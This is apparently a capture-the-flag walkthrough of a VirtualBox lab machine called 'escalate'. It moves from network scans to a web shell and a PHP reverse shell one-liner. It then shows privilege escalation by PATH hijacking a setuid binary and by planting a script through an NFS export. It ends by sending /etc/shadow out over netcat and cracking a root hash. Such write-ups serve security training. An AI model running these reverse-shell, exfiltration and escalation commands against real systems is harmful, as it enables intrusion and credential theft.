

escalate linux

custom network scan

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root@kali:~/scripts# ./network_scanner.py -i 10.0.2.15 -m 24
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IP                               MAC
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10.0.2.1                         52:54:00:12:35:00
10.0.2.2                         52:54:00:12:35:00
10.0.2.3                         08:00:27:08:85:0f
10.0.2.21                        08:00:27:fc:04:13
root@kali:~/scripts#
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dirb scan

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root@kali:~/scripts# dirb http://escalate

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DIRB v2.22
By The Dark Raver
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START_TIME: Tue Feb 11 03:07:21 2020
URL_BASE: http://escalate/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

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GENERATED WORDS: 4612

---- Scanning URL: http://escalate/ ----
+ http://escalate/index.html (CODE:200|SIZE:10918)
+ http://escalate/server-status (CODE:403|SIZE:296)

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END_TIME: Tue Feb 11 03:07:23 2020
DOWNLOADED: 4612 - FOUND: 2
root@kali:~/scripts#
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nmap scan

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root@kali:~/scripts# nmap -A -sT escalate
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-11 03:08 EST
Nmap scan report for escalate (10.0.2.21)
Host is up (0.00039s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
111/tcp   open  rpcbind      2-4 (RPC #100000)
|_rpcinfo:
|   program version      port/proto  service
|   100000   2,3,4         111/tcp    rpcbind
|   100000   2,3,4         111/udp    rpcbind
|   100000   3,4           111/tcp6   rpcbind
|   100000   3,4           111/udp6   rpcbind
|   100003   3             2049/udp   nfs
|   100003   3             2049/udp6  nfs
|   100003   3,4           2049/tcp   nfs
|   100003   3,4           2049/tcp6  nfs
|   100005   1,2,3         35115/udp6 mountd
|   100005   1,2,3         39435/tcp6 mountd
|   100005   1,2,3         44767/tcp  mountd
|   100005   1,2,3         48838/udp  mountd
|   100021   1,3,4         34863/tcp  nlockmgr
|   100021   1,3,4         39009/tcp6 nlockmgr
|   100021   1,3,4         39265/udp  nlockmgr
|   100021   1,3,4         39879/udp6 nlockmgr
|   100227   3             2049/tcp   nfs_acl
|   100227   3             2049/tcp6  nfs_acl
|   100227   3             2049/udp   nfs_acl
|_  100227   3             2049/udp6  nfs_acl
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
2049/tcp  open  nfs_acl      3 (RPC #100227)
MAC Address: 08:00:27:FC:04:13 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: LINUX

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Host script results:
|_clock-skew: mean: 1h40m01s, deviation: 2h53m12s, median: 1s
|_nbstat: NetBIOS name: LINUX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: osboxes
|   NetBIOS computer name: LINUX\X00
|   Domain name: \X00
|   FQDN: osboxes
|_ System time: 2020-02-11T03:08:20-05:00
|_smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-security-mode:
|   2.02:
|_ Message signing enabled but not required
|_smb2-time:
|   date: 2020-02-11T08:08:20
|_ start_date: N/A
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HOP RTT ADDRESS
1 0.39 ms escalate (10.0.2.21)
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OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 13.94 seconds

Initial foothold

```
root@kali:~/scripts# gobuster dir --url http://escalate -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php
=====
Gobuster v3.0.1
by DJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url: http://escalate
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
=====
2020/02/11 04:11:56 Starting gobuster
=====
/shell.php (Status: 200)
```

Encoding reverse shell payload

⏪ ⏩ ↺ 🏠 escalate/shell.php?cmd=id

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uid=1005(user6) gid=1005(user6) groups=1005(user6) /*pass cmd as get parameter*/

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php -r '$sock=fsockopen("10.0.2.15",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
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:%34%34%34%34%29%3b%65%78%65%63%28%22%2f%62%60%6e%2f%73%68%20%2d%60%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27
```

reverse shell popped

```
root@kali:~/scripts# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.21] 44532
/bin/sh: 0: can't access tty; job control turned off
$
```

finding list of users who can log into the system

```
user6 / | var | www | html cat /etc/passwd|grep bash
root:x:0:0:root:/root:/bin/bash
user1:x:1000:1000:user1,,,:/home/user1:/bin/bash
user2:x:1001:1001:user2,,,:/home/user2:/bin/bash
user3:x:1002:1002:user3,,,:/home/user3:/bin/bash
user4:x:1003:1003:user4,,,:/home/user4:/bin/bash
user5:x:1004:1004:user5,,,:/home/user5:/bin/bash
user6:x:1005:1005:user6,,,:/home/user6:/bin/bash
mysql:x:121:131:MySQL Server,,,:/var/mysql:/bin/bash
user7:x:1006:0:user7,,,:/home/user7:/bin/bash
user8:x:1007:1007:user8,,,:/home/user8:/bin/bash
user6 / | var | www | html
```

from readelf we could basically, program set uid and gid to 0 and execute command as root

```
user6 / | home | user5 readelf -r ./script

Relocation section '.rela.dyn' at offset 0x458 contains 8 entries:
  Offset          Info          Type           Sym. Value      Sym. Name + Addend
000000200da8      00000000000008  R_X86_64_RELATIVE          6d0
000000200db0      00000000000008  R_X86_64_RELATIVE          690
000000201008      00000000000008  R_X86_64_RELATIVE        201008
000000200fd8      00010000000006  R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTMClone + 0
000000200fe0      00030000000006  R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000200fe8      00040000000006  R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000200ff0      00060000000006  R_X86_64_GLOB_DAT 0000000000000000 _ITM_registerTMCloneTa + 0
000000200ff8      00080000000006  R_X86_64_GLOB_DAT 0000000000000000 __cxa_finalize@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x518 contains 3 entries:
  Offset          Info          Type           Sym. Value      Sym. Name + Addend
000000200fc0      00020000000007  R_X86_64_JUMP_SLO 0000000000000000 system@GLIBC_2.2.5 + 0
000000200fc8      00050000000007  R_X86_64_JUMP_SLO 0000000000000000 setgid@GLIBC_2.2.5 + 0
000000200fd0      00070000000007  R_X86_64_JUMP_SLO 0000000000000000 setuid@GLIBC_2.2.5 + 0
user6 / | home | user5
```

ltrace confirms our suspicion

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user6 / | home | user5 ltrace ./script
setuid(0) = -1
setgid(0) = -1
system("ls Desktop Documents Downloads Music Pictures Public Templates Videos ls script
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++

```

as it doesn't specify the full path, we can modify our PATH where the system looks for binary and execute commands as root

```

user6 / | home | user5 echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
user6 / | home | user5 █

```

modifying system path

```

user6 / | home | user5 echo $PATH
./usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
user6 / | home | user5 █

```

On attacker machine, user5 home directory is mountable

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root@kali:~/scripts# showmount -e escalate
Export list for escalate:
/home/user5 *
root@kali:~/scripts# █

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mount user5 directory locally

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root@kali:~/scripts# mount -t nfs escalate:/home/user5 user5

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ls file in user directory includes malicious command that reads shadow files

```

root@kali:~/scripts/user5# cat ls
id
whoami
cat /etc/shadow
root@kali:~/scripts/user5# █

```

confirmed that we can run programs as root

```

uid=0(root) gid=0(root) groups=0(root),1005(user6)
root
root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF515ZDANRTKyvcHQwSq5xX51A7n22kjEkQhSP6Uq7cPaYfzP5mgATM9cwD1:18050:0:99999:7:::

```

filtering only username and hashes

```

user6 / | tmp cat shadow.txt | wc -l
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user6 / | tmp tail -n 49 shadow.txt | tee shadow.txt
```

transferring file from victim to attacking machine to crack passwords

```
user6 / | tmp cat shadow.txt | nc 10.0.2.15 4445
user6 / | tmp cat /etc/passwd | nc 10.0.2.15 4445
```

```
root@kali:/tmp# ls -l | grep txt
-rw-r--r-- 1 root root 2.6K Feb 11 04:45 passwd.txt
-rw-r--r-- 1 root root 2.3K Feb 11 04:44 shadow.txt
root@kali:/tmp#
```

unshadow password file before cracking

```
root@kali:/tmp# unshadow passwd.txt shadow.txt | tee unshadow.txt
```

password cracked

```
root@kali:/tmp# john -w:/usr/share/wordlists/rockyou.txt unshadow.txt
Using default input encoding: UTF-8
Loaded 10 password hashes with 10 different salts (sha512crypt, crypt
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
12345 (root)
```

confirmed that we are able to escalate privileges to root

```
user6 / | tmp su root
Password:
Welcome to Linux Lite 4.4

You are running in superuser mode, be very careful.

Tuesday 11 February 2020, 04:48:47
Memory Usage: 327/985MB (33.20%)
Disk Usage: 5/217GB (3%)

root / > tmp
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